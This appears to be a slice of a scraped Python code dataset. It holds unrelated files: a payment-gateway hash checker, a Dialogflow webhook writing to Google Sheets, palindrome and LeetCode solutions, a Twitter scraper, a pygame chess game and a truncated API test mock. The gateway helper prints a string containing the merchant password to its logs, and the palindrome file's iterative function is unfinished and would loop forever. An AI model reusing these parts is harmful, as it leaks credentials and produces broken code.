parsed['Address3'],\n 'Address4' : parsed['Address4'],\n 'City' : parsed['City'],\n 'State' : parsed['State'],\n 'PostCode' : parsed['PostCode'],\n 'CountryCode' : parsed['CountryCode']\n }\n\n return callback_context\n\n\ndef parseResponse(string):\n\n # Takes in the cUrl response string and returns json format dict\n index = string.find('MerchantID')\n string = (string[index:])\n\n string = string.replace('%3d', '\" : \"')\n string = string.replace('%26', '\", \"')\n string = string.replace('%3a', ':')\n string = string.replace('+', ' ')\n string = string.replace('%2b', '+')\n string = '{ \"' + string + '\" }'\n\n newdict = json.loads(string)\n\n return newdict\n\n\ndef postCheckHash(vars, request):\n\n HashDigest = request['HashDigest']\n\n StringToHash = (\"MerchantID=\" + vars['merch_mid'] +\n \"&Password=\" + vars['merch_password'] +\n \"&StatusCode=\" + request['StatusCode'] +\n \"&Message=\" + request['Message'] +\n \"&PreviousStatusCode=\" + request['PreviousStatusCode'] +\n \"&PreviousMessage=\" + request['PreviousMessage'] +\n \"&CrossReference=\" + request['CrossReference'] +\n \"&AddressNumericCheckResult=\" + request['AddressNumericCheckResult'] +\n \"&PostCodeCheckResult=\" + request['PostCodeCheckResult'] +\n \"&CV2CheckResult=\" + request['CV2CheckResult'] +\n \"&ThreeDSecureAuthenticationCheckResult=\" + request['ThreeDSecureAuthenticationCheckResult'] +\n \"&CardType=\" + request['CardType'] +\n \"&CardClass=\" + request['CardClass'] +\n \"&CardIssuer=\" + request['CardIssuer'] +\n \"&CardIssuerCountryCode=\" + request['CardIssuerCountryCode'] +\n \"&Amount=\" + request['Amount'] +\n \"&CurrencyCode=\" + request['CurrencyCode'] +\n \"&OrderID=\" + request['OrderID'] +\n \"&TransactionType=\" + request['TransactionType'] +\n \"&TransactionDateTime=\" + request['TransactionDateTime'] +\n \"&OrderDescription=\" + request['OrderDescription'] +\n \"&CustomerName=\" + request['CustomerName'] +\n \"&Address1=\" + request['Address1'] +\n \"&Address2=\" + request['Address2'] +\n \"&Address3=\" + request['Address3'] +\n \"&Address4=\" + request['Address4'] +\n \"&City=\" + request['City'] +\n \"&State=\" + request['State'] +\n \"&PostCode=\" + request['PostCode'] +\n \"&CountryCode=\" + request['CountryCode'])\n\n\n print('Hash string of \"Post Check Hash\" Method')\n print(StringToHash)\n # Send string to hash method\n NewHashDigest = calculateHashDigest(StringToHash, vars['merch_presharedkey'], vars['merch_hashmethod'])\n\n print('################################ Hash (POST) remote: ##################################')\n print(HashDigest)\n print('################################ Hash (POST) local: ###################################')\n print(NewHashDigest)\n print('#######################################################################################')\n\n if HashDigest == NewHashDigest:\n return True\n\n else:\n return False\n\n\ndef serverCheckHash(vars, MerchantID, CrossReference, OrderID, HashDigest):\n\n StringToHash = (\"MerchantID=\" + MerchantID +\n \"&Password=\" + vars['merch_password'] +\n \"&CrossReference=\" + CrossReference +\n \"&OrderID=\" + OrderID)\n\n # Send string to hash method\n NewHashDigest = calculateHashDigest(StringToHash, vars['merch_presharedkey'], vars['merch_hashmethod'])\n\n print('############################## Hash (SERVER) remote: ##################################')\n print(HashDigest)\n print('############################## Hash (SERVER) local: ###################################')\n print(NewHashDigest)\n print('#######################################################################################')\n\n if HashDigest == NewHashDigest:\n return True\n\n else:\n return False\n\n\ndef sendToMerch(TransactionCallback, callback_status, callback_message, callback_addcheck, callback_postcheck, callback_3dsecure, callback_cv2check):\n #Currently prints to log in place of server\n\n # Formats response for user\n if callback_status == '0':\n TransactionOutcome = 'Successful'\n\n elif callback_status == '3':\n TransactionOutcome = '3D Secure Required'\n\n elif callback_status == '4':\n TransactionOutcome = 'Referred'\n\n elif callback_status == '5':\n TransactionOutcome = 'Declined'\n\n elif callback_status == '20':\n TransactionOutcome = 'Duplicate'\n\n elif callback_status == '30':\n TransactionOutcome = 'Gateway error'\n\n elif callback_status == None:\n TransactionOutcome = ''\n\n elif callback_status == '':\n TransactionOutcome = ''\n\n else:\n TransactionOutcome = 'Unknown error'\n\n if callback_addcheck == None: callback_addcheck = 'Check result not returned'\n if callback_3dsecure == None: callback_3dsecure = 'Check result not returned'\n if callback_postcheck == None: callback_postcheck = 'Check result not returned'\n if callback_cv2check == None: callback_cv2check = 'Check result not returned'\n if callback_message == None: callback_message = 'No callback message returned'\n\n callback_addcheck = \"Address numeric check - \" + callback_addcheck + \" | \"\n callback_3dsecure = \"3D secure authentication - \" + callback_3dsecure + \" | \"\n callback_postcheck = \"Postcode check - \" + callback_postcheck + \" | \"\n callback_cv2check = \"CV2 check - \" + callback_cv2check\n\n TransactionOutcomeDetail = \"| \" + callback_message + \" | \" + callback_addcheck + callback_3dsecure + callback_postcheck + callback_cv2check\n\n print(\"######################### sendToMerch() has just sent... ##############################\")\n print(TransactionCallback)\n print(TransactionOutcome)\n print(TransactionOutcomeDetail)\n print(\"########################### ...to Merchant's Server ###################################\")\n","sub_path":"gateway/tphelperdev.py","file_name":"tphelperdev.py","file_ext":"py","file_size_in_byte":17699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118051250","text":" # /index.py\n\nfrom flask import Flask, request, jsonify\nimport os\nimport json\nimport requests\nimport pandas as pd\nimport numpy as np\nfrom re import search\nimport gspread\nimport datetime\nimport pytz\n\nfrom oauth2client.service_account import ServiceAccountCredentials\n\n### PLEASE MODIFY THE NEXT TWO LINES TO CUSTOMIZE TO YOUR OWN GOOGLESHEET ###\n\n# KEY_FILE = \"PythonToSheet-46f0bfa4bace.json\" # legacy key file \nKEY_FILE = \"eeee-qcgs-431f66d80f00.json\"\nGOOGLE_SHEET_WRITE = \"DYFC-GSheet-Backend\" \nGOOGLE_SHEET_READ_URL = 'https://docs.google.com/spreadsheets/d/1kz__C7eZg43ZAa228jsY6c91cM_eAXozVLZ3uL2wePQ/export?format=csv&usp=sharing&gid=2108358957'\n\n##\n\nSCOPE = ['https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive']\n\napp = Flask(__name__)\n\n## The default route shows a web page . It use for testing only\n@app.route('/')\ndef index():\n return ('Flask Webhook 2021 Is Deployed successful. It is not free from bug yet')\n\n@app.route('/webhook', methods=['POST'])\ndef webhook():\n data = request.get_json(silent=True)\n action = data['queryResult']['action']\n \n if action == \"test_connection\" :\n return test_connection(data)\n elif action == \"pre_register\" :\n return register_participants(data)\n elif action == \"request_callback\" :\n return request_callback(data)\n elif action == \"read_sbtime\":\n return read_shuttlebustime(data)\n elif action == \"dummy_action\" :\n return funct_dummy(data)\n else:\n return handle_unknown_action(data)\n\n########################################################################\ndef test_connection(data):\n timeZ_Sg = pytz.timezone('Asia/Singapore')\n current_time = datetime.datetime.now(timeZ_Sg)\n \n response = {}\n replytext = \"You have made a successful connection to the webhook on \" + str(current_time)\n response[\"fulfillmentText\"] = replytext \n return jsonify(response) \n\n\n########################################################################\ndef handle_unknown_action(data):\n response = {}\n replytext = \"Oh dear! Your intent <\" + data['queryResult']['intent']['displayName'] + \"> for action <\" + data['queryResult']['action'] + \"> is not implemented in the webhook yet. Please disable fulfillment for the intent.\"\n response[\"fulfillmentText\"] = replytext\n return jsonify(response) \n \n\n########################################################################\ndef register_participants(data):\n shirtsize = data['queryResult']['parameters']['size']\n name = data['queryResult']['parameters']['person']['name']\n department = data['queryResult']['parameters']['department']\n entities = [name, department, shirtsize]\n\n creds = ServiceAccountCredentials.from_json_keyfile_name(KEY_FILE, SCOPE)\n client = gspread.authorize(creds)\n \n # Find a workbook by name and open the first sheet\n # Make sure you use the right name here.\n # Extract of the values\n\n sheet = client.open(GOOGLE_SHEET_WRITE).worksheet('PreRegister')\n \n sheet.append_row(entities, value_input_option='RAW')\n\n # Prepare a response\n response = {}\n replytext = \"Hi \" + name + \", Thanks for pre-registrating for the event. We will reserve shirt size \" + shirtsize + \" for you. We've got your information in the spreadsheet. Please collect at HR Department. \"\n response[\"fulfillmentText\"] = replytext\n return jsonify(response) \n\n\n#######################################################################\n\ndef request_callback(data):\n phone = data['queryResult']['parameters']['phone-number']\n name = data['queryResult']['parameters']['person']['name']\n querytext = data['queryResult']['queryText']\n entities = [name, phone, querytext]\n\n creds = ServiceAccountCredentials.from_json_keyfile_name(KEY_FILE, SCOPE)\n client = gspread.authorize(creds)\n sheet = client.open(GOOGLE_SHEET_WRITE).worksheet('CallbackRequest') \n sheet.append_row(entities, value_input_option='RAW')\n\n # Prepare a response\n response = {}\n replytext = \"Hi \" + name + \", sorry I can't help you now. But, someone will call you back at \" + phone + \". Talk to you soon. We've got your information in the spreadsheet.\"\n response[\"fulfillmentText\"] = replytext\n return jsonify(response) \n\n########################################################################\n\ndef read_shuttlebustime(data):\n pickup_pt = data['queryResult']['parameters']['dev_pickup']\n \n # download a file from Google as CSV\n # Upload into Pandas dataframe\n # Do a dataframe search based on parameter value matching col value of the dataframe\n # Pick up the required value\n\n df = pd.read_csv(GOOGLE_SHEET_READ_URL)\n df_selected = df[ ( df['PickupPoint'] == pickup_pt )]\n result = df_selected[ [ 'Time' ]].to_string(index = False)\n \n if search(\"Empty\", result) :\n replytext = 'I am sorry. I am not able to find any related bus pickup information.'\n else:\n replytext = 'The pickup time is ' + str(result)\n # Prepare a response\n response = {}\n response[\"fulfillmentText\"] = replytext\n return jsonify(response) \n\n\n\n########################################################################\n\ndef funct_dummy(data):\n response = {}\n response[\"fulfillmentText\"] = \"replace with the reply text\"\n return jsonify(response) \n \n \n########################################################################\n \n# run Flask app\nif __name__ == \"__main__\":\n app.run()","sub_path":"history/index v1.py","file_name":"index v1.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"488770602","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nGiven an array of integers, find out whether there are two distinct indices i and j in the array such that the difference between nums[i] and nums[j] is at most t and the difference between i and j is at most k.\n\"\"\"\n\nclass Solution(object):\n def containsNearbyAlmostDuplicate(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n \"\"\"\n if t < 0:\n return False\n bucket = {}\n t = t + 1\n for i, num in enumerate(nums):\n j = num / t\n if ((j in bucket and i - bucket[j] <= k)\n or (j - 1 in bucket and i - bucket[j - 1] <= k and abs(num - nums[bucket[j - 1]]) < t)\n or (j + 1 in bucket and i - bucket[j + 1] <= k and abs(num - nums[bucket[j + 1]]) < t)):\n return True\n bucket[j] = i\n return False\n","sub_path":"Python/220-ContainsDuplicate3/containsNearbyAlmostDuplicate.py","file_name":"containsNearbyAlmostDuplicate.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"413007627","text":"#!python\n\nimport string\n\n\ndef is_palindrome(text):\n\t\"\"\"A string of characters is a palindrome if it reads the same forwards and\n\tbackwards, ignoring punctuation, whitespace, and letter casing\"\"\"\n\t# implement is_palindrome_iterative and is_palindrome_recursive below, then\n\t# change this to call your implementation to verify it passes all tests\n\tassert isinstance(text, str)\n\t#return is_palindrome_iterative(text)\n\treturn is_palindrome_recursive(text)\n\n\ndef is_palindrome_iterative(text):\n\tleft=0\n\tright=len(text)-1\n\twhile left<right:\n\t\tlc=ord(text[left])\n\t\tif lc>=ord('A') and lc<=ord('Z'):\n\t\t\tlc\n\t\n\tfor i in range(0, len(text)//2):\n\t\tif text[i]!=text[-i-1]:\n\t\t\treturn False\n\treturn True\n\ndef is_palindrome_recursive(text, i=0):\n\tif i>=len(text)//2: return True\n\telif text[i]!=text[-i-1]: return False\n\telse: return is_palindrome_recursive(text, i+1)\n\ndef main():\n\timport sys\n\targs = sys.argv[1:] # Ignore script file name\n\tif len(args) > 0:\n\t\tfor arg in args:\n\t\t\tis_pal = is_palindrome(arg)\n\t\t\tresult = 'PASS' if is_pal else 'FAIL'\n\t\t\tstr_not = 'a' if is_pal else 'not a'\n\t\t\tprint('{}: {} is {} palindrome'.format(result, repr(arg), str_not))\n\telse:\n\t\tprint('Usage: {} string1 string2 ... stringN'.format(sys.argv[0]))\n\t\tprint(' checks if each argument given is a palindrome')\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"119171736","text":"import tweepy #https://github.com/tweepy/tweepy\nimport csv\n\n#Don't forget to add keys here ( apps.twitter.com )\nconsumer_key = \"\"\nconsumer_secret = \"\"\naccess_key = \"\"\naccess_secret = \"\"\n\n\ndef get_LatestTweets(screen_name):\n\t\n\t#authorize twitter, initialize tweepy\n\tauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\tauth.set_access_token(access_key, access_secret)\n\tapi = tweepy.API(auth)\n\t\n\t#initialize a list to hold all the tweepy Tweets\n\talltweets = []\t\n\t\n\t#50 Tweets are enough ( 200 max )\n\tnew_tweets = api.user_timeline(screen_name = screen_name,count=50)\n\t\n\t#now insert them to alltweets list\n\talltweets.extend(new_tweets)\n\t\n\t#new list\n\touttweets = []\n\t\n\t#list to 2D array\n\tfor tweet in alltweets:\n\t\touttweets.extend( [[tweet.id_str, tweet.created_at, tweet.text.encode(\"utf-8\")]] )\n\t\n\t\n\t#Generate a new csvf\n\twith open('%s_twitter.csv' % screen_name, 'wb') as f:\n\t\twriter = csv.writer(f)\n\t\twriter.writerow([\"id\",\"created_at\",\"text\"])\n\t\twriter.writerows(outtweets) \n\t\n\tpass\n\n\n#Grab my tweets!\nget_LatestTweets(\"dk994\")","sub_path":"tweety.py","file_name":"tweety.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"556178840","text":"\"\"\"E-ZParse server.\"\"\"\n\nfrom dotenv import load_dotenv\nfrom os import getenv\nfrom flask import Flask, render_template, request, Response\nfrom parse import load_pages, parse\n\nload_dotenv()\n\napp = Flask(__name__)\napp.config['MAX_CONTENT_LENGTH'] = 1 * (1024 ** 2) # Sets 1 MB upload limit\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n \"\"\"Homepage.\"\"\"\n if request.method == 'GET':\n return render_template('index.html')\n\n tags = request.form.get('tags')\n tags = tags.split(',')\n tags = [tag.strip() for tag in tags]\n\n if tags[0].lower() == getenv('SECRET').lower():\n tags = getenv('INPUT').split(',')\n\n pdf_input = request.files.get('pdf')\n pdf_pages = load_pages(pdf_input)\n pdf_output = parse(pdf_pages, tags) if pdf_pages else None\n\n response = Response(pdf_output, mimetype=\"text/csv\")\n response.headers.set(\"Content-Disposition\", \"attachment\", filename='parsed.csv')\n\n return response\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325133823","text":"class Dog:\n\n #class attribute; default value of the class\n species = 'mammal'\n\n #Initializer\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n def description(self):\n return \"{} is {} years old\".format(self.name, self.age)\n\n def speak(self, sound):\n return \"{} says {}\".format(self.name, sound)\n\n def birthday(self):\n self.age += 1\n\n \n\nphilo = Dog('philo', 5)\nmikey = Dog('mikey', 6)\n\n#reset values \nmikey.age += 1\nphilo.species = \"mouse\"\n\nprint(\"{} is {} and {} is {}\".format(philo.name, philo.age, mikey.name, mikey.age))\n\n#if philo.species == \"mammal\":\n# print(\"{} is a {}\".format(philo.name, philo.species))\n\n#Test on the methods\nprint(mikey.description())\nprint(mikey.speak(\"Gruff! Gruff!\"))\n\nmikey.birthday()\nprint(mikey.description())","sub_path":"OOP/intro_class.py","file_name":"intro_class.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"313960825","text":"import pygame\r\nfrom classes import Board, Piece\r\nfrom colours import *\r\nfrom directions import *\r\n\r\n\r\npygame.init()\r\npygame.font.init()\r\n\r\ndef find_piece(piece, board):\r\n for i in range(board.rows):\r\n for j in range(board.cols):\r\n if board.elements[i][j] == piece:\r\n return i, j\r\n\r\n\r\ndef possible_moves(piece, board):\r\n moves = []\r\n i, j = find_piece(piece, board)\r\n for move in piece.moves:\r\n r, c = i, j\r\n for sequence in move:\r\n r += sequence[0]\r\n c += + sequence[1]\r\n r, c = filter_by_index(r, c)\r\n if (r, c) not in moves and (r, c) != (i, j):\r\n moves.append((r, c))\r\n\r\n return moves\r\n\r\n\r\ndef filter_by_index(r, c):\r\n if r > 7:\r\n r = 7\r\n elif r < 0:\r\n r = 0\r\n if c > 7:\r\n c = 7\r\n elif c < 0:\r\n c = 0\r\n return r, c\r\n\r\n\r\ndef is_in_index(moves, row, col):\r\n return moves[2][1] <= row < moves[3][1] and moves[0][0] <= col < moves[1][0]\r\n\r\n\r\ndef is_in_board(row, col):\r\n return 0 <= row <= board.rows and 0 <= col <= board.cols\r\n\r\n\r\ndef add_to_board(piece, i, j, board):\r\n board.elements[i][j] = piece\r\n\r\n\r\ndef draw_board(board, width, height, screen):\r\n tile_w = width // board.cols\r\n tile_h = height // board.rows\r\n colours = [WHEAT, TAN]\r\n c = 0\r\n y = 0\r\n for _ in range(8):\r\n x = 0\r\n j = c\r\n c = (c + 1) % 2\r\n for _ in range(8):\r\n colour = colours[j]\r\n pygame.draw.rect(screen, colour, (x, y, tile_w, tile_h))\r\n x += tile_w\r\n j = (j + 1) % 2\r\n y += tile_h\r\n draw_pieces(board, tile_w, tile_h, screen)\r\n\r\n\r\ndef draw_piece(piece, row, col, width, height, screen):\r\n colour = piece.get_colour()\r\n x = col * width\r\n y = row * height\r\n font = pygame.font.SysFont('Comic Sans MS', 15)\r\n surface = font.render(piece.type, False, colour)\r\n screen.blit(surface, (x, y))\r\n\r\n\r\ndef draw_pieces(board, width, height, screen):\r\n for i in range(board.rows):\r\n for j in range(board.cols):\r\n piece = board.elements[i][j]\r\n if piece:\r\n draw_piece(piece, i, j, width, height, screen)\r\n\r\n\r\ndef get_col(board, width, x):\r\n return x // (width // board.cols)\r\n\r\n\r\ndef get_row(board, height, y):\r\n return y // (height // board.rows)\r\n\r\n\r\ndef get_piece_from_click(board, width, height, x, y):\r\n r, c = get_index_from_click(board, width, height, x, y)\r\n return board.elements[r][c]\r\n\r\n\r\ndef get_index_from_click(board, width, height, x, y):\r\n row = get_row(board, height, y)\r\n col = get_col(board, width, x)\r\n return row, col\r\n\r\n\r\ndef is_piece_at_index(r, c, board):\r\n if is_in_board(r, c):\r\n if board.elements[r][c]:\r\n return True\r\n\r\n\r\ndef pawn_is_blocked(piece, board):\r\n r, j = find_piece(piece, board)\r\n if piece.colour == WHITE:\r\n a, b = r-1, j\r\n else:\r\n a, b = r+1, j\r\n if is_piece_at_index(a, b, board):\r\n return True\r\n return False\r\n\r\n\r\ndef get_pawn_diagonal(piece, board):\r\n assert piece.type == \"P\"\r\n r, c = find_piece(piece, board)\r\n if piece.colour == WHITE:\r\n moves = [(r-1, c+1), (r-1, c-1)]\r\n else:\r\n moves = [(r+1, c+1), (r+1, c-1)]\r\n return moves\r\n\r\ndef path_is_blocked(board, piece, end_r, end_c, direction):\r\n i, j = find_piece(piece, board)\r\n r, c = direction[0], direction[1]\r\n while (i, j) != (end_r, end_c):\r\n i += r\r\n j += c\r\n if board.elements[i][j] != None:\r\n return True\r\n return False\r\n\r\n\r\ndef get_direction(start_r, start_c, end_r, end_c):\r\n r = end_r - start_r\r\n c = end_c - start_c\r\n if r < 0:\r\n i = -1\r\n elif r == 0:\r\n i = 0\r\n else:\r\n i = 1\r\n if c < 0:\r\n j = -1\r\n elif c == 0:\r\n j = 0\r\n else:\r\n j = 1\r\n return i, j\r\n\r\n\r\n\r\ndef move_piece(board, piece, r, c, f):\r\n v = board.elements[r][c]\r\n move = False\r\n if v:\r\n if v.colour != piece.colour:\r\n move = True\r\n else:\r\n move = True\r\n if move:\r\n prev_r, prev_c = find_piece(piece, board)\r\n moves = possible_moves(piece, board)\r\n if piece.type == \"P\":\r\n if pawn_is_blocked(piece, board):\r\n if pawn_can_take(piece, board):\r\n moves = get_pawn_diagonal(piece, board)\r\n else:\r\n moves = []\r\n direction = get_direction(prev_r, prev_c, r, c,)\r\n if not path_is_blocked(board, piece, r, c, direction) and piece.type != \"H\":\r\n if (r, c) in moves:\r\n board.elements[r][c] = piece\r\n board.elements[prev_r][prev_c] = None\r\n f = (f + 1) % 2\r\n return f\r\n\r\n\r\ndef pawn_can_take(piece, board):\r\n assert piece.type == \"P\"\r\n r, c = find_piece(piece, board)\r\n if piece.colour == WHITE:\r\n moves = [(r-1, c-1), (r-1, c+1)]\r\n else:\r\n moves = [(r+1, c-1), (r+1, c+1)]\r\n for move in moves:\r\n a, b = move[0], move[1]\r\n if is_in_board(a, b):\r\n if board.elements[a][b]:\r\n if board.elements[a][b].colour != piece.colour:\r\n return True\r\n\r\n\r\ndef on_click(board, width, height, pos, current, turns, f):\r\n x, y = pos[0], pos[1]\r\n if current:\r\n r, c = get_index_from_click(board, width, height, x, y)\r\n f = move_piece(board, current, r, c, f)\r\n current.targeted = False\r\n current = False\r\n else:\r\n current = get_piece_from_click(board, width, height, x, y)\r\n if current:\r\n if current.colour == turns[f]:\r\n current.targeted = True\r\n return current, f\r\n\r\n\r\ndef add_pawns(board):\r\n board.elements[1] = [Piece(pawn_movement[2:], BLACK, \"P\") for _ in range(8)]\r\n board.elements[6] = [Piece(pawn_movement[:2], WHITE, \"P\") for _ in range(8)]\r\n return board\r\n\r\n\r\ndef add_castles(board):\r\n board.elements[0][0] = Piece(castle_movement, BLACK, \"C\")\r\n board.elements[0][7] = Piece(castle_movement, BLACK, \"C\")\r\n board.elements[7][0] = Piece(castle_movement, WHITE, \"C\")\r\n board.elements[7][7] = Piece(castle_movement, WHITE, \"C\")\r\n return board\r\n\r\n\r\ndef add_horses(board):\r\n board.elements[0][1] = Piece(horse_movement, BLACK, \"H\")\r\n board.elements[0][6] = Piece(horse_movement, BLACK, \"H\")\r\n board.elements[7][1] = Piece(horse_movement, WHITE, \"H\")\r\n board.elements[7][6] = Piece(horse_movement, WHITE, \"H\")\r\n return board\r\n\r\n\r\ndef add_bishops(board):\r\n board.elements[0][2] = Piece(bishop_movement, BLACK, \"B\")\r\n board.elements[0][5] = Piece(bishop_movement, BLACK, \"B\")\r\n board.elements[7][2] = Piece(bishop_movement, WHITE, \"B\")\r\n board.elements[7][5] = Piece(bishop_movement, WHITE, \"B\")\r\n return board\r\n\r\n\r\ndef add_queens(board):\r\n board.elements[0][3] = Piece(queen_movement, BLACK, \"Q\")\r\n board.elements[7][3] = Piece(queen_movement, WHITE, \"Q\")\r\n return board\r\n\r\n\r\ndef add_kings(board):\r\n board.elements[0][4] = Piece(king_movement, BLACK, \"K\")\r\n board.elements[7][4] = Piece(king_movement, WHITE, \"K\")\r\n return board\r\n\r\ndef add_pieces(board):\r\n add_pawns(board)\r\n add_castles(board)\r\n add_horses(board)\r\n add_bishops(board)\r\n add_queens(board)\r\n add_kings(board)\r\n return board\r\n\r\n\r\n\r\nboard = Board(8, 8)\r\nadd_pieces(board)\r\nturn = [WHITE, BLACK]\r\n\r\n\r\ndef run(width, height, clock, FPS, screen):\r\n running = 1\r\n current = None\r\n f = 0\r\n while running:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = 0\r\n elif event.type == pygame.MOUSEBUTTONUP:\r\n pos = pygame.mouse.get_pos()\r\n current, f = on_click(board, width, height, pos, current, turn, f)\r\n\r\n screen.fill((128, 64, 35))\r\n draw_board(board, width, height, screen)\r\n pygame.display.flip()\r\n clock.tick(FPS)\r\n\r\n pygame.quit()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n win_width = 640\r\n win_height = 480\r\n game_clock = pygame.time.Clock()\r\n game_FPS = 30\r\n display = pygame.display.set_mode((win_width, win_height))\r\n run(win_width, win_height, game_clock, game_FPS, display)\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490443079","text":"from p7app.utils.google import get_data_from_google_api\nfrom config import GoogleKey, GoogleDetailsUrl\n\nURL = GoogleDetailsUrl\n\n\n# Mocking of Google search API getting with results\ndef test_google_search_API_with_results(monkeypatch):\n details_payload = {\n \"place_id\": 'ChIJZR2qaYzVwkcRG74iJXu6kYc',\n \"language\": \"fr\",\n \"key\": GoogleKey\n }\n\n expected_results = \\\n {'html_attributions': [],\n 'result': {'address_components': [\n {'long_name': 'France', 'short_name': 'FR',\n 'types': ['country', 'political']},\n {'long_name': 'Lille', 'short_name': 'Lille',\n 'types': ['locality', 'political']},\n {'long_name': 'Nord', 'short_name': 'Nord',\n 'types': ['administrative_area_level_2', 'political']},\n {'long_name': 'Hauts-de-France', 'short_name': 'Hauts-de-France',\n 'types': ['administrative_area_level_1', 'political']},\n {'long_name': '59800', 'short_name': '59800',\n 'types': ['postal_code']}],\n 'adr_address': '<span class=\"postal-code\">59800</span> '\n '<span class=\"locality\">Lille</span>, '\n '<span class=\"country-name\">France</span>',\n 'formatted_address': '59800 Lille, France', 'geometry': {\n 'location': {'lat': 50.6327161, 'lng': 3.070834899999999},\n 'viewport': {'northeast': {'lat': 50.6340163802915,\n 'lng': 3.072143280291502},\n 'southwest': {'lat': 50.63131841970851,\n 'lng': 3.069445319708498}}},\n 'icon': 'https://maps.gstatic.com/mapfiles/place_api'\n '/icons/generic_business-71.png',\n 'id': 'ff2f688529116b7313e83104b839815beefa2e68',\n 'name': 'Mairie de Lille',\n 'photos': [{'height': 4032,\n 'html_attributions': [\n '<a '\n 'href=\"https'\n '://maps'\n '.google.com'\n '/maps'\n '/contrib'\n '/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAAMHhMDmzFlUK5YopTvseRUdPB1Fx-svRy6kwq-lKvgKkKZFSEuJZDZHakd9-8yVEeSDEmmAktip5YeK-Qp7Wmuwt2MPFS5VxZA8t38SsidgkFff1uFlYTVmXLPbdZJqY0EhD67_jwzy-EzDUTuPuMUd5KGhSHd2HEqbV3JmGIk82kDTT3-7pFsQ',\n 'width': 3024},\n {'height': 960,\n 'html_attributions': [\n '<a '\n 'href=\"https'\n '://maps'\n '.google.com'\n '/maps'\n '/contrib'\n '/103962656277132175291\">Agent Smith</a>'],\n 'photo_reference': 'CmRaAAAA5OK0v_UwJvzm9obKSBRE4jXV3HubEDeKDE_0laZrY-w0qSW1AZCOO1b42w9jQPKR-_BATGQ3Lr2UXgcirMSYZrocrciLnnAv3r8hazvwLauMTjKd-fUM2zM4qabBZbtdEhCvWdzak_6ieIk1wi5NsFkjGhS-fXi3IVgzNHXgO4Murpqbq3DnUA',\n 'width': 694},\n {'height': 4032,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAAuHXavHxDPhGTWear1VDNPYzzM59Wivxrv73yfu9PVlQSfN4qojGtmFA58GgZ5ba16CS_nlCpZtqCpCESDjIxmTLH0r4chSy7V3KAuDpDNOq6UW-RG7of-nGGCyl2waUxEhCQVk6_Cb3ChLqNAOsc7JFVGhTp_nIaZ_L4W2t5aP8OW1RXM_7WTQ',\n 'width': 3024},\n {'height': 4032,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAA-7gUPwgPKB90_OwQO2GmKJWL8OZAGeRfOhUEwisWNIPMLoP7-Gpp2JaxKjLY4Ci2sV2thUwCdNGFZrECY_cBdolQbu-MuftoojrU1KeBReDwl74CVkCi3Iaaw2iUB3yUEhBTGDa2S0x7tjtXZIYlbcMWGhToH04ndp2g8nb0Qwtbf7_K3DqsFw',\n 'width': 3024},\n {'height': 4032,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAAlOt3gs9PeSqVZryiLlr84DF40SDeGIbtgueUaCl4_tq8TdO6X6AiKqR3bb71wWa5hU8HU7TojatlmZCskAytmC6t1YVUo623VLP5kOMgyzbFTafAapBJMAvPKh2NWGvMEhCh3F7bVN3Ic1TkpvwL1ZQhGhSsTpBPBuoODhRyo5qpMD3zkh-Gkw',\n 'width': 3024},\n {'height': 3264,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAAh7GmlWFwttJ9AyAzZjbIs8wfmeq4V7yLlZh5FKWl4XxQ30qP_JG_46qDV2MwUqS_aCkPv0vfoTxHEji0eHYFlb9F1BlF_pCppzT2LpZb23oBHAQPfGILFYEjtAHZJ-3iEhAkU9HIxKi4_ig-vbcjze41GhRDZx74RXFqKZNrd-X07bPmctbwhg',\n 'width': 2448},\n {'height': 3701,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/110782744520313142229\">Marta Kawecka</a>'],\n 'photo_reference': 'CmRaAAAAJ3fBOwa_xG0OMeUPhznxXKudq2l2jiVKZp8tndQI6dASesFEnC5q621EghQBoZHIk3lfGX7QKOOkhe9f8_q_Umwq63Q2HB0xTISHYYBQuZdfpWmcKxtnIjxw7oqDpj2SEhAp_OxopTOFckghk-jmaallGhSoc1-SlWtmqS27zlxCyqghXc285w',\n 'width': 2775},\n {'height': 4032,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 